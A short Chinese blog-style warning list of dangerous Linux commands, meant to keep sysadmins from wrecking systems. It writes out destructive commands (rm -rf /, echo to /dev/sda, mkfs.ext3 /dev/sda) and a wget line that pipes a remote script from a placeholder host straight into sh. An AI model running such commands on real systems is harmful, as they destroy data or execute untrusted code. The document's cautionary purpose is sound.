不谨慎可能就会让你提桶的Linux命令!!!
删除文件
rm -rf
该命令是删除文件或文件夹等最快的方式之一。删除后的内容很难恢复,如果删除系统文件可能会导致系统崩坏。
> rm -rf / #强制删除根目录下所有东西(这比传说中的删库跑路更严重,这是直接删除系统 o(╥﹏╥)o)。
> rm -rf * #强制删除当前目录的所有文件。
> rm -rf . #强制删除当前文件夹及其子文件夹。
注意:rm命令最好在堡垒机中就限制使用
垃圾数据重写到硬盘
echo "" > /dev/sda
此命令会写入数据到块设备/dev/sda中。该操作会将块设备中的所有数据块覆盖,改为命令写入的原始数据,从而导致整个块设备的数据丢失。
黑洞
mv 文件夹 /dev/null
/dev/null 或 null 设备是个特殊文件,所有写入它的数据都会被清除,它相当于回收站,一切抛入/dev/null的数据都将被忽略。
提防未知脚本
wget -O- http://xx.bashcommand.com/test.sh | sh //下载文件后立即执行
命令是获取远程文件内容,不用落盘,以标准输出 + 管道方式直接运行。
如果test.sh是个恶意脚本,内容都不看直接运行,估计也就凉了。
格式化
mkfs.ext3 /dev/sda
现在用得最多的是mkfs.xfs,ext3也不少,还有其他的mkfs格式。
命令会格式化块设备sda,在执行该命令后你的块设备(硬盘驱动器)会被格式化(这个命令是我们在初始化系统或者增加了新的硬盘时使用的,正常已经上架的服务器一般是不需要使用的)。
重定向
> filename
这个符号大家都知道是重定向 “>”,重定向我就不多说了,就是内容直接覆盖。
权限修改
chmod +777
文件权限修改命令,这个命令也不能随便加上777,这个权限太大了,说不定哪天就被这个777权限给坑害了。